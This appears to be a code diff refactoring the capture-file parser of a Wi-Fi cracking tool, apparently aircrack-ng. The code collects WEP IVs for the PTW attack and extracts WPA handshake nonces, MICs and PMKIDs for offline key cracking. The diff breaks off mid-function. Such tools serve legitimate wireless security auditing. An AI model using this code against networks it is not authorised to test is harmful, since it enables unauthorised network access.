+		if (me->mode == PACKET_READER_READ_MODE) add_wep_iv(ap_cur, buffer);
+		return 0;
 	}
-	/* avoid blocking on reading the file */
-
-	if( fcntl( fd, F_SETFL, O_NONBLOCK ) < 0 )
+	else if (fmt == FORMAT_IVS2)
 	{
-		perror( "fcntl(O_NONBLOCK) failed" );
-		goto read_fail;
+		if (me->mode == PACKET_READER_READ_MODE)
+			parse_ivs2(ap_cur, ivs2, buffer);
+		return 0;
 	}
 
-	while( 1 )
+	/* locate the station MAC in the 802.11 header */
+
+	switch (h80211[1] & 3)
 	{
-		if( close_aircrack )
+		case 0:
+			memcpy(stmac, h80211 + 10, 6);
 			break;
 
-		if( fmt == FORMAT_IVS )
-		{
-			/* read one IV */
-
-			while( ! atomic_read( &rb, fd, 1, buffer ) )
-				eof_wait( &eof_notified );
+		case 1:
+			memcpy(stmac, h80211 + 10, 6);
+			break;
 
-			if( close_aircrack )
-				break;
+		case 2:
+			/* reject broadcast MACs */
+			if ((h80211[4] % 2) != 0) goto skip_station;
+			memcpy(stmac, h80211 + 4, 6);
+			break;
 
-			if( buffer[0] != 0xFF )
-			{
-				/* new access point MAC */
+		default:
+			goto skip_station;
+	}
 
-				bssid[0] = buffer[0];
+	int not_found = c_avl_get(ap_cur->stations, stmac, (void **) &st_cur);
 
-				while( ! atomic_read( &rb, fd, 5, bssid + 1 ) )
-					eof_wait( &eof_notified );
-				if( close_aircrack )
-					break;
-			}
-
-			while( ! atomic_read( &rb, fd, 5, buffer ) )
-				eof_wait( &eof_notified );
-			if( close_aircrack )
-				break;
-		}
-		else if( fmt == FORMAT_IVS2 )
+	/* if it's a new supplicant, add it */
+	if (not_found)
+	{
+		st_cur = (struct ST_info *) malloc(sizeof(struct ST_info));
+		if (st_cur == NULL)
 		{
-			while( ! atomic_read( &rb, fd, sizeof( struct ivs2_pkthdr ), &ivs2 ) )
-				eof_wait( &eof_notified );
-			if( close_aircrack )
-				break;
-
-			if(ivs2.flags & IVS2_BSSID)
-			{
-				while( ! atomic_read( &rb, fd, 6, bssid ) )
-					eof_wait( &eof_notified );
-				if( close_aircrack )
-					break;
-				ivs2.len -= 6;
-			}
-
-			while( ! atomic_read( &rb, fd, ivs2.len, buffer ) )
-				eof_wait( &eof_notified );
-			if( close_aircrack )
-				break;
+			perror("malloc failed");
+			return -1;
 		}
-		else
-		{
-			while( ! atomic_read( &rb, fd, sizeof( pkh ), &pkh ) )
-				eof_wait( &eof_notified );
-			if( close_aircrack )
-				break;
-
-			if( pfh.magic == TCPDUMP_CIGAM ) {
-				SWAP32( pkh.caplen );
-				SWAP32( pkh.len );
-			}
-
-			if( pkh.caplen <= 0 || pkh.caplen > 65535 )
-			{
-				fprintf( stderr, "\nInvalid packet capture length %d - "
-					"corrupted file?\n", pkh.caplen );
-				eof_wait( &eof_notified );
-				_exit( FAILURE );
-			}
-
-			while( ! atomic_read( &rb, fd, pkh.caplen, buffer ) )
-				eof_wait( &eof_notified );
-			if( close_aircrack )
-				break;
+		memset(st_cur, 0, sizeof(struct ST_info));
 
-			h80211 = buffer;
+		memcpy(st_cur->stmac, stmac, sizeof(st_cur->stmac));
+		c_avl_insert(ap_cur->stations, st_cur->stmac, st_cur);
+	}
 
-			if( pfh.linktype == LINKTYPE_PRISM_HEADER )
-			{
-				/* remove the prism header */
+skip_station:
 
-				if( h80211[7] == 0x40 )
-					n = 64;
-				else
-				{
-					n = *(int *)( h80211 + 4 );
+	/* packet parsing: Beacon or Probe Response */
 
-					if( pfh.magic == TCPDUMP_CIGAM )
-						SWAP32( n );
-				}
+	if (h80211[0] == 0x80 || h80211[0] == 0x50)
+	{
+		if (ap_cur->crypt < 0) ap_cur->crypt = (h80211[34] & 0x10) >> 4;
 
-				if( n < 8 || n >= (int) pkh.caplen )
-					continue;
+		p = h80211 + 36;
 
-				h80211 += n; pkh.caplen -= n;
-			}
+		while (p < h80211 + pkh->caplen)
+		{
+			if (p + 2 + p[1] > h80211 + pkh->caplen) break;
 
-			if( pfh.linktype == LINKTYPE_RADIOTAP_HDR )
+			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0')
 			{
-				/* remove the radiotap header */
-
-				n = *(unsigned short *)( h80211 + 2 );
-
-				if( n <= 0 || n >= (int) pkh.caplen )
-					continue;
+				/* found a non-cloaked ESSID */
+				int n = (p[1] > 32) ? 32 : p[1];
 
-				h80211 += n; pkh.caplen -= n;
+				memset(ap_cur->essid, 0, 33);
+				memcpy(ap_cur->essid, p + 2, n);
 			}
 
-			if( pfh.linktype == LINKTYPE_PPI_HDR )
-			{
-				/* Remove the PPI header */
-
-				n = le16_to_cpu(*(unsigned short *)( h80211 + 2));
-
-				if( n <= 0 || n>= (int) pkh.caplen )
-					continue;
-
-				/* for a while Kismet logged broken PPI headers */
-				if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
-					n = 32;
-
-				if( n <= 0 || n>= (int) pkh.caplen )
-					continue;
-
-				h80211 += n; pkh.caplen -= n;
-			}
+			p += 2 + p[1];
 		}
+	}
 
-		/* prevent concurrent access on the linked list */
-
-		pthread_mutex_lock( &mx_apl );
+	/* packet parsing: Association Request */
 
-		nb_pkt++;
+	if (h80211[0] == 0x00)
+	{
+		p = h80211 + 28;
 
-		if( fmt == FORMAT_CAP )
+		while (p < h80211 + pkh->caplen)
 		{
-			/* skip packets smaller than a 802.11 header */
-
-			if( pkh.caplen < 24 )
-				goto unlock_mx_apl;
-
-			/* skip (uninteresting) control frames */
+			if (p + 2 + p[1] > h80211 + pkh->caplen) break;
 
-			if( ( h80211[0] & 0x0C ) == 0x04 )
-				goto unlock_mx_apl;
-
-			/* locate the access point's MAC address */
-
-			switch( h80211[1] & 3 )
+			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0')
 			{
-				case  0: memcpy( bssid, h80211 + 16, 6 ); break;  //Adhoc
-				case  1: memcpy( bssid, h80211 +  4, 6 ); break;  //ToDS
-				case  2: memcpy( bssid, h80211 + 10, 6 ); break;  //FromDS
-				case  3: memcpy( bssid, h80211 + 10, 6 ); break;  //WDS -> Transmitter taken as BSSID
-			}
+				int n = (p[1] > 32) ? 32 : p[1];
 
-			switch( h80211[1] & 3 )
-			{
-				case  0: memcpy( dest, h80211 +  4, 6 ); break;  //Adhoc
-				case  1: memcpy( dest, h80211 + 16, 6 ); break;  //ToDS
-				case  2: memcpy( dest, h80211 +  4, 6 ); break;  //FromDS
-				case  3: memcpy( dest, h80211 + 16, 6 ); break;  //WDS -> Transmitter taken as BSSID
+				memset(ap_cur->essid, 0, 33);
+				memcpy(ap_cur->essid, p + 2, n);
 			}
 
-			//skip corrupted keystreams in wep decloak mode
-			if(opt.wep_decloak)
-			{
-				if(dest[0] == 0x01)
-					goto unlock_mx_apl;
-			}
+			p += 2 + p[1];
 		}
+	}
 
-		if(opt.bssidmerge)
-			mergebssids(opt.bssidmerge, bssid);
-
-		if( memcmp( bssid, BROADCAST, 6 ) == 0 )
-			/* probe request or such - skip the packet */
-			goto unlock_mx_apl;
-
-		if( memcmp( bssid, opt.bssid, 6 ) != 0 )
-			goto unlock_mx_apl;
+	/* packet parsing: Association Response */
 
-		if( memcmp( opt.maddr, ZERO,      6 ) != 0 &&
-			memcmp( opt.maddr, BROADCAST, 6 ) != 0 )
-		{
-			/* apply the MAC filter */
+	if (h80211[0] == 0x10)
+	{
+		/* reset the WPA handshake state */
+		if (st_cur != NULL) st_cur->wpa.state = 0;
+	}
 
-			if( memcmp( opt.maddr, h80211 +  4, 6 ) != 0 &&
-				memcmp( opt.maddr, h80211 + 10, 6 ) != 0 &&
-				memcmp( opt.maddr, h80211 + 16, 6 ) != 0 )
-				goto unlock_mx_apl;
-		}
+	/* check if data */
 
-		/* search the linked list */
+	if ((h80211[0] & 0x0C) != 0x08) return 0;
 
-		ap_prv = NULL;
-		ap_cur = ap_1st;
+	/* check minimum size */
 
-		while( ap_cur != NULL )
-		{
-			if( ! memcmp( ap_cur->bssid, bssid, 6 ) )
-				break;
+	unsigned z = ((h80211[1] & 3) != 3) ? 24 : 30;
+	if ((h80211[0] & 0x80) == 0x80) z += 2; /* 802.11e QoS */
 
-			ap_prv = ap_cur;
-			ap_cur = ap_cur->next;
-		}
+	if (z + 16 > pkh->caplen) return 0;
 
-		/* if it's a new access point, add it */
+	/* check the SNAP header to see if data is encrypted */
 
-		if( ap_cur == NULL )
+	if (h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03)
+	{
+		if (!opt.forced_amode)
 		{
-			if( ! ( ap_cur = (struct AP_info *) malloc(
-				sizeof( struct AP_info ) ) ) )
-			{
-				perror( "malloc failed" );
-				break;
-			}
-
-			memset( ap_cur, 0, sizeof( struct AP_info ) );
+			ap_cur->crypt = 2; /* encryption = WEP */
 
-			if( ap_1st == NULL )
-				ap_1st = ap_cur;
-			else
-				ap_prv->next = ap_cur;
-
-			memcpy( ap_cur->bssid, bssid, 6 );
-
-			ap_cur->crypt = -1;
-
-			// Shortcut to set encryption:
-			// - WEP is 2 for 'crypt' and 1 for 'amode'.
-			// - WPA is 3 for 'crypt' and 2 for 'amode'.
-			if (opt.forced_amode)
-				ap_cur->crypt = opt.amode + 1;
-
-			if (opt.do_ptw == 1)
+			/* check the extended IV flag */
+			if ((h80211[z + 3] & 0x20) != 0)
 			{
-				ap_cur->ptw_clean = PTW_newattackstate();
-				if (!ap_cur->ptw_clean) {
-					perror("PTW_newattackstate()");
-					free(ap_cur);
-					ap_cur = NULL;
-					break;
-				}
-				ap_cur->ptw_vague = PTW_newattackstate();
-				if (!ap_cur->ptw_vague) {
-					perror("PTW_newattackstate()");
-					free(ap_cur);
-					ap_cur = NULL;
-					break;
-				}
+				/* encryption = WPA */
+				ap_cur->crypt = 3;
 			}
 		}
 
-		if( fmt == FORMAT_IVS )
-		{
-			ap_cur->crypt = 2;
+		/* check the WEP key index */
 
-			add_wep_iv:
-			/* check for uniqueness first */
+		if (opt.index != 0 && (h80211[z + 3] >> 6) != opt.index - 1) return 0;
 
-			if( ap_cur->nb_ivs == 0 )
-				ap_cur->uiv_root = uniqueiv_init();
+		if (opt.do_ptw)
+		{
+			unsigned char * body = h80211 + z;
+			int data_len = (int) (pkh->caplen - (body - h80211) - 4 - 4);
 
-			if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 )
+			if ((h80211[1] & 0x03) == 0x03) // 30byte header
 			{
-				/* add the IV & first two encrypted bytes */
-
-				n = ap_cur->nb_ivs * 5;
-
-				if( n + 5 > ap_cur->ivbuf_size )
-				{
-					/* enlarge the IVs buffer */
-
-					ap_cur->ivbuf_size += 131072;
-					ap_cur->ivbuf = (unsigned char *) realloc(
-						ap_cur->ivbuf, ap_cur->ivbuf_size );
-
-					if( ap_cur->ivbuf == NULL )
-					{
-						perror( "realloc failed" );
-						break;
-					}
-				}
-
-				memcpy( ap_cur->ivbuf + n, buffer, 5 );
-				uniqueiv_mark( ap_cur->uiv_root, buffer );
-				ap_cur->nb_ivs++;
+				body += 6;
+				data_len -= 6;
 			}
 
-			goto unlock_mx_apl;
+			if (me->mode == PACKET_READER_READ_MODE)
+				calculate_wep_keystream(body, data_len, ap_cur, h80211);
+			return 0;
 		}
 
-		if( fmt == FORMAT_IVS2 )
-		{
-			if(ivs2.flags & IVS2_ESSID)
-			{
-				memcpy( ap_cur->essid, buffer, ivs2.len);
-			}
-			else if(ivs2.flags & IVS2_XOR)
-			{
-				ap_cur->crypt = 2;
-
-				if (opt.do_ptw) {
-					int clearsize;
-
-					clearsize = ivs2.len;
+		/* save the IV & first two output bytes */
 
-					if (clearsize < opt.keylen+3)
-						goto unlock_mx_apl;
+		memcpy(buffer, h80211 + z, 3);
+		memcpy(buffer + 3, h80211 + z + 4, 2);
 
-					if (PTW_addsession(ap_cur->ptw_clean, buffer, buffer+4, PTW_DEFAULTWEIGHT, 1))
-						ap_cur->nb_ivs_clean++;
-
-					if (PTW_addsession(ap_cur->ptw_vague, buffer, buffer+4, PTW_DEFAULTWEIGHT, 1))
-						ap_cur->nb_ivs_vague++;
-
-					goto unlock_mx_apl;
-				}
+		/* Special handling for spanning-tree packets */
+		if (memcmp(h80211 + 4, SPANTREE, 6) == 0
+			|| memcmp(h80211 + 16, SPANTREE, 6) == 0)
+		{
+			buffer[3] = (uint8_t)((buffer[3] ^ 0x42) ^ 0xAA);
+			buffer[4] = (uint8_t)((buffer[4] ^ 0x42) ^ 0xAA);
+		}
 
-				buffer[3] = buffer[4];
-				buffer[4] = buffer[5];
-				buffer[3] ^= 0xAA;
-				buffer[4] ^= 0xAA;
-				/* check for uniqueness first */
+		if (me->mode == PACKET_READER_READ_MODE) add_wep_iv(ap_cur, buffer);
+		return 0;
+	}
 
-				if( ap_cur->nb_ivs == 0 )
-					ap_cur->uiv_root = uniqueiv_init();
+	if (ap_cur->crypt < 0) ap_cur->crypt = 0; /* no encryption */
 
-				if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 )
-				{
-					/* add the IV & first two encrypted bytes */
+	/* if ethertype == IPv4, find the LAN address */
 
-					n = ap_cur->nb_ivs * 5;
+	z += 6;
 
-					if( n + 5 > ap_cur->ivbuf_size )
-					{
-						/* enlarge the IVs buffer */
+	if (z + 20 < pkh->caplen)
+	{
+		if (h80211[z] == 0x08 && h80211[z + 1] == 0x00
+			&& (h80211[1] & 3) == 0x01)
+			memcpy(ap_cur->lanip, &h80211[z + 14], 4);
 
-						ap_cur->ivbuf_size += 131072;
-						ap_cur->ivbuf = (unsigned char *) realloc(
-							ap_cur->ivbuf, ap_cur->ivbuf_size );
+		if (h80211[z] == 0x08 && h80211[z + 1] == 0x06)
+			memcpy(ap_cur->lanip, &h80211[z + 16], 4);
+	}
 
-						if( ap_cur->ivbuf == NULL )
-						{
-							perror( "realloc failed" );
-							break;
-						}
-					}
+	/* check ethertype == EAPOL */
 
+	if (h80211[z] != 0x88 || h80211[z + 1] != 0x8E) return 0;
 
-					memcpy( ap_cur->ivbuf + n, buffer, 5 );
-					uniqueiv_mark( ap_cur->uiv_root, buffer );
-					ap_cur->nb_ivs++;
-// 					all_ivs[256*256*buffer[0] + 256*buffer[1] + buffer[2]].used |= GOT_IV;
-				}
-			}
-			else if(ivs2.flags & IVS2_PTW)
-			{
-				ap_cur->crypt = 2;
+	z += 2;
 
-				if (opt.do_ptw) {
-					int clearsize;
+	ap_cur->eapol = 1;
 
-					clearsize = ivs2.len;
+	/* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */
 
-					if (buffer[5] < opt.keylen)
-						goto unlock_mx_apl;
-					if( clearsize < (6 + buffer[4]*32 + 16*(signed)sizeof(int)) )
-						goto unlock_mx_apl;
+	if (h80211[z + 1] != 0x03
+		|| (h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02))
+		return 0;
 
-					memcpy(weight, buffer+clearsize-15*sizeof(int), 16*sizeof(int));
-// 					printf("weight 1: %d, weight 2: %d\n", weight[0], weight[1]);
+	ap_cur->eapol = 0;
+	if (!opt.forced_amode) ap_cur->crypt = 3; /* set WPA */
 
-					if (PTW_addsession(ap_cur->ptw_vague, buffer, buffer+6, weight, buffer[4]))
-						ap_cur->nb_ivs_vague++;
+	if (st_cur == NULL)
+	{
+		// NOTE: no station present; so we want to SKIP this AP.
+		return 1;
+	}
 
-					goto unlock_mx_apl;
-				}
+	/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
 
-				buffer[3] = buffer[6];
-				buffer[4] = buffer[7];
-				buffer[3] ^= 0xAA;
-				buffer[4] ^= 0xAA;
-				/* check for uniqueness first */
+	if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
+		&& (h80211[z + 6] & 0x80) != 0
+		&& (h80211[z + 5] & 0x01) == 0)
+	{
+		memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
 
-				if( ap_cur->nb_ivs == 0 )
-					ap_cur->uiv_root = uniqueiv_init();
+		/* authenticator nonce set */
+		st_cur->wpa.state = 1;
 
-				if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 )
+		if (h80211[z + 99] == 0xdd) // RSN
+		{
+			if (h80211[z + 101] == 0x00 && h80211[z + 102] == 0x0f
+				&& h80211[z + 103] == 0xac) // OUI: IEEE8021
+			{
+				if (h80211[z + 104] == 0x04) // OUI SUBTYPE
 				{
-					/* add the IV & first two encrypted bytes */
+					// Got a PMKID value?!
+					memcpy(st_cur->wpa.pmkid, &h80211[z + 105], 16);
 
-					n = ap_cur->nb_ivs * 5;
-
-					if( n + 5 > ap_cur->ivbuf_size )
-					{
-						/* enlarge the IVs buffer */
-
-						ap_cur->ivbuf_size += 131072;
-						ap_cur->ivbuf = (unsigned char *) realloc(
-							ap_cur->ivbuf, ap_cur->ivbuf_size );
-
-						if( ap_cur->ivbuf == NULL )
-						{
-							perror( "realloc failed" );
-							break;
-						}
-					}
-
-
-					memcpy( ap_cur->ivbuf + n, buffer, 5 );
-					uniqueiv_mark( ap_cur->uiv_root, buffer );
-					ap_cur->nb_ivs++;
+					/* copy the key descriptor version */
+					st_cur->wpa.keyver = (uint8_t)(h80211[z + 6] & 7);
 				}
 			}
-			else if(ivs2.flags & IVS2_WPA)
-			{
-				ap_cur->crypt = 3;
-				memcpy( &ap_cur->wpa, buffer,
-					sizeof( struct WPA_hdsk ) );
-			}
-			goto unlock_mx_apl;
 		}
+	}
 
-		/* locate the station MAC in the 802.11 header */
-
-		st_cur = NULL;
+	/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
 
-		switch( h80211[1] & 3 )
+	if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
+		&& (h80211[z + 6] & 0x80) == 0
+		&& (h80211[z + 5] & 0x01) != 0)
+	{
+		if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
 		{
-			case  0: memcpy( stmac, h80211 + 10, 6 ); break;
-			case  1: memcpy( stmac, h80211 + 10, 6 ); break;
-			case  2:
-
-				/* reject broadcast MACs */
+			memcpy(st_cur->wpa.snonce, &h80211[z + 17], 32);
 
-				if( (h80211[4]%2) != 0 ) goto skip_station;
-				memcpy( stmac, h80211 +  4, 6 ); break;
-
-			default: goto skip_station; break;
+			/* supplicant nonce set */
+			st_cur->wpa.state |= 2;
 		}
 
-		st_prv = NULL;
-		st_cur = ap_cur->st_1st;
-
-		while( st_cur != NULL )
+		if ((st_cur->wpa.state & 4) != 4)
 		{
-			if( ! memcmp( st_cur->stmac, stmac, 6 ) )
-				break;
-
-			st_prv = st_cur;
-			st_cur = st_cur->next;
-		}
-
-		/* if it's a new supplicant, add it */
+			/* copy the MIC & eapol frame */
+			st_cur->wpa.eapol_size
+				= (uint32_t)((h80211[z + 2] << 8) + h80211[z + 3] + 4);
 
-		if( st_cur == NULL )
-		{
-			if( ! ( st_cur = (struct ST_info *) malloc(
-				sizeof( struct ST_info ) ) ) )
+			if (st_cur->wpa.eapol_size == 0
+				|| st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)
+				|| pkh->len - z < st_cur->wpa.eapol_size)
 			{
-				perror( "malloc failed" );
-				break;
+				// Ignore the packet trying to crash us.
+				st_cur->wpa.eapol_size = 0;
+				return 0;
 			}
 
-			memset( st_cur, 0, sizeof( struct ST_info ) );
+			memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
+			memcpy(st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
+			memset(st_cur->wpa.eapol + 81, 0, 16);
 
-			if( ap_cur->st_1st == NULL )
-				ap_cur->st_1st = st_cur;
-			else
-				st_prv->next = st_cur;
+			/* eapol frame & keymic set */
+			st_cur->wpa.state |= 4;
 
-			memcpy( st_cur->stmac, stmac, 6 );
+			/* copy the key descriptor version */
+			st_cur->wpa.keyver = (uint8_t)(h80211[z + 6] & 7);
 		}
+	}
 
-		skip_station:
-
-		/* packet parsing: Beacon or Probe Response */
+	/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
 
-		if( h80211[0] == 0x80 ||
-			h80211[0] == 0x50 )
+	if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) != 0
+		&& (h80211[z + 6] & 0x80) != 0
+		&& (h80211[z + 5] & 0x01) != 0)
+	{
+		if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
 		{
-			if( ap_cur->crypt < 0 )
-				ap_cur->crypt = ( h80211[34] & 0x10 ) >> 4;
-
-			p = h80211 + 36;
-
-			while( p < h80211 + pkh.caplen )
-			{
-				if( p + 2 + p[1] > h80211 + pkh.caplen )
-					break;
-
-				if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' )
-				{
-					/* found a non-cloaked ESSID */
+			memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
 
-					n = ( p[1] > 32 ) ? 32 : p[1];
-
-					memset( ap_cur->essid, 0, 33 );
-					memcpy( ap_cur->essid, p + 2, n );
-				}
-
-				p += 2 + p[1];
-			}
+			/* authenticator nonce set */
+			st_cur->wpa.state |= 1;
 		}
 
-		/* packet parsing: Association Request */
-
-		if( h80211[0] == 0x00 )
+		if ((st_cur->wpa.state & 4) != 4)
 		{
-			p = h80211 + 28;
+			/* copy the MIC & eapol frame */
+			st_cur->wpa.eapol_size
+				= (uint32_t)((h80211[z + 2] << 8) + h80211[z + 3] + 4);
 
-			while( p < h80211 + pkh.caplen )
+			if (st_cur->wpa.eapol_size == 0
+				|| st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)
+				|| pkh->len - z < st_cur->wpa.eapol_size)
 			{
-				if( p + 2 + p[1] > h80211 + pkh.caplen )
-					break;
-
-				if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' )
-				{
-					n = ( p[1] > 32 ) ? 32 : p[1];
-
-					memset( ap_cur->essid, 0, 33 );
-					memcpy( ap_cur->essid, p + 2, n );
-				}
-
-				p += 2 + p[1];
+				// Ignore the packet trying to crash us.
+				st_cur->wpa.eapol_size = 0;
+				return 0;
 			}
-		}
 
-		/* packet parsing: Association Response */
+			memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
+			memcpy(st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
+			memset(st_cur->wpa.eapol + 81, 0, 16);
 
-		if( h80211[0] == 0x10 )
-		{
-			/* reset the WPA handshake state */
+			/* eapol frame & keymic set */
+			st_cur->wpa.state |= 4;
 
-			if( st_cur != NULL )
-				st_cur->wpa.state = 0;
+			/* copy the key descriptor version */
+			st_cur->wpa.keyver = (uint8_t)(h80211[z + 6] & 7);
 		}
+	}
 
-		/* check if data */
-
-		if( ( h80211[0] & 0x0C ) != 0x08 )
-			goto unlock_mx_apl;
-
-		/* check minimum size */
-
-		z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-		if ( ( h80211[0] & 0x80 ) == 0x80 )
-			z+=2; /* 802.11e QoS */
-
-		if( z + 16 > pkh.caplen )
-			goto unlock_mx_apl;
-
-		/* check the SNAP header to see if data is encrypted */
-
-		if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 )
-		{
-			if( !opt.forced_amode ) {
-				ap_cur->crypt = 2;	 /* encryption = WEP */
-
-				/* check the extended IV flag */
-				if( ( h80211[z + 3] & 0x20 ) != 0)
-				{
-					/* encryption = WPA */
-					ap_cur->crypt = 3;
-				}
-			}
-
-			/* check the WEP key index */
-
-			if( opt.index != 0 &&
-				( h80211[z + 3] >> 6 ) != opt.index - 1 )
-				goto unlock_mx_apl;
-
-			if (opt.do_ptw) {
-				unsigned char *body = h80211 + z;
-				int dlen = pkh.caplen - (body-h80211) - 4 -4;
-				unsigned char clear[2048];
-				int clearsize, i, j, k;
-                                int weight[16];
-
-                                if((h80211[1] & 0x03) == 0x03) //30byte header
-                                {
-                                    body += 6;
-                                    dlen -=6;
-                                }
-
-				memset(weight, 0, sizeof(weight));
-				memset(clear, 0, sizeof(clear));
-
-				/* calculate keystream */
-				k = known_clear(clear, &clearsize, weight, h80211, dlen);
-				if (clearsize < (opt.keylen+3))
-					goto unlock_mx_apl;
-
-                                for (j=0; j<k; j++)
-                                {
-                                    for (i = 0; i < clearsize; i++)
-                                            clear[i+(32*j)] ^= body[4+i];
-                                }
-
-                                if(k==1)
-                                {
-                                    if (PTW_addsession(ap_cur->ptw_clean, body, clear, weight, k))
-                                            ap_cur->nb_ivs_clean++;
-                                }
+	// The new PMKID attack permits any state greater than 0, with a PMKID
+	// present.
+	if (st_cur->wpa.state == 7
+		|| (st_cur->wpa.state > 0 && st_cur->wpa.pmkid[0] != 0x00))
+	{
+		/* got one valid handshake */
+		memcpy(st_cur->wpa.stmac, stmac, 6);
+		memcpy(&ap_cur->wpa, &st_cur->wpa, sizeof(struct WPA_hdsk));
+	}
 
-                                if (PTW_addsession(ap_cur->ptw_vague, body, clear, weight, k))
-                                        ap_cur->nb_ivs_vague++;
+	return 0;
+}
 
-				goto unlock_mx_apl;
-			}
+/**
+ * Process a single packet, to extract useful access point data.
+ *
+ * @param me A reference to our own (this ptr) data.
+ * @param bssid The base station MAC address.
+ * @param dest An extra base station MAC address. ?
+ * @param fmt The incoming packet \a buffer binary format.
+ * @param buffer The incoming packet data.
+ * @param h80211 A reference within \a buffer for the 802.11 frame.
+ * @param ivs2 A reference to an IVS2 packet structure.
+ * @param pkh A reference to the packet's header content.
+ * @param ap_cur An output parameter to hold a found, or updated, AP base
+ *               station.
+ * @return Returns zero on success. Returns non-zero for an error (> zero)
+ *         or exception (< zero).
+ */
+static int packet_reader_process_packet(packet_reader_t * me,
+										uint8_t * bssid,
+										uint8_t * dest,
+										int fmt,
+										unsigned char * buffer,
+										unsigned char * h80211,
+										struct ivs2_pkthdr * ivs2,
+										struct pcap_pkthdr * pkh,
+										struct AP_info ** ap_cur)
+{
+	assert(me != NULL);
+	assert(bssid != NULL);
+	assert(dest != NULL);
+	assert(buffer != NULL);
+	assert(h80211 != NULL);
+	assert(ivs2 != NULL);
+	assert(pkh != NULL);
+	assert(ap_cur != NULL);
 
-			/* save the IV & first two output bytes */
+	*ap_cur = NULL;
 
-			memcpy( buffer    , h80211 + z    , 3 );
-			memcpy( buffer + 3, h80211 + z + 4, 2 );
+	nb_pkt++;
 
-            /* Special handling for spanning-tree packets */
-            if ( memcmp( h80211 +  4, SPANTREE, 6 ) == 0 ||
-                memcmp( h80211 + 16, SPANTREE, 6 ) == 0 )
-            {
-                buffer[3] = (buffer[3] ^ 0x42) ^ 0xAA;
-                buffer[4] = (buffer[4] ^ 0x42) ^ 0xAA;
-            }
+	if (fmt == FORMAT_CAP)
+	{
+		/* skip packets smaller than a 802.11 header */
 
-			goto add_wep_iv;
-		}
+		if (pkh->caplen < 24) return 0;
 
-		if( ap_cur->crypt < 0 )
-			ap_cur->crypt = 0;	 /* no encryption */
+		/* skip (uninteresting) control frames */
 
-		/* if ethertype == IPv4, find the LAN address */
+		if ((h80211[0] & 0x0C) == 0x04) return 0;
 
-		z += 6;
+		/* locate the access point's MAC address */
 
-		if( z + 20 < pkh.caplen )
+		switch (h80211[1] & 3)
 		{
-			if( h80211[z] == 0x08 && h80211[z + 1] == 0x00 &&
-				( h80211[1] & 3 ) == 0x01 )
-				memcpy( ap_cur->lanip, &h80211[z + 14], 4 );
-
-			if( h80211[z] == 0x08 && h80211[z + 1] == 0x06 )
-				memcpy( ap_cur->lanip, &h80211[z + 16], 4 );
+			case 0:
+				memcpy(bssid, h80211 + 16, 6);
+				break; // Adhoc
+			case 1:
+				memcpy(bssid, h80211 + 4, 6);
+				break; // ToDS
+			case 2:
+				memcpy(bssid, h80211 + 10, 6);
+				break; // FromDS
+			case 3:
+				memcpy(bssid, h80211 + 10, 6);
+				break; // WDS -> Transmitter taken as BSSID
+			default:
+				fprintf(stderr,
+						"Expected a value between 0 and 3, got %d.\n",
+						h80211[1] & 3);
+				break;
 		}
 
-		/* check ethertype == EAPOL */
-
-		if( h80211[z] != 0x88 || h80211[z + 1] != 0x8E )
-			goto unlock_mx_apl;
-
-		z += 2;
-
-		ap_cur->eapol = 1;
-
-		/* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */
-
-		if( h80211[z + 1] != 0x03 ||
-			( h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02 ) )
-			goto unlock_mx_apl;
-
-		ap_cur->eapol = 0;
-		if( !opt.forced_amode )
-		ap_cur->crypt = 3;		 /* set WPA */
-
-		if( st_cur == NULL )
-		{
-			pthread_mutex_unlock( &mx_apl );
-			continue;
+		switch (h80211[1] & 3)
+		{
+			case 0:
+				memcpy(dest, h80211 + 4, 6);
+				break; // Adhoc
+			case 1:
+				memcpy(dest, h80211 + 16, 6);
+				break; // ToDS
+			case 2:
+				memcpy(dest, h80211 + 4, 6);
+				break; // FromDS
+			case 3:
+				memcpy(dest, h80211 + 16, 6);
+				break; // WDS -> Transmitter taken as BSSID
+			default:
+				fprintf(stderr,
+						"Expected a value between 0 and 3, got %d.\n",
+						h80211[1] & 3);
+				break;
 		}
 
-		/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
-
-		if( ( h80211[z + 6] & 0x08 ) != 0 &&
-			( h80211[z + 6] & 0x40 ) == 0 &&
-			( h80211[z + 6] & 0x80 ) != 0 &&
-			( h80211[z + 5] & 0x01 ) == 0 )
+		// skip corrupted keystreams in wep decloak mode
+		if (opt.wep_decloak)
 		{
-			memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 );
-
-			/* authenticator nonce set */
-			st_cur->wpa.state = 1;
+			if (dest[0] == 0x01) return 0;
 		}
+	}
 
-		/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
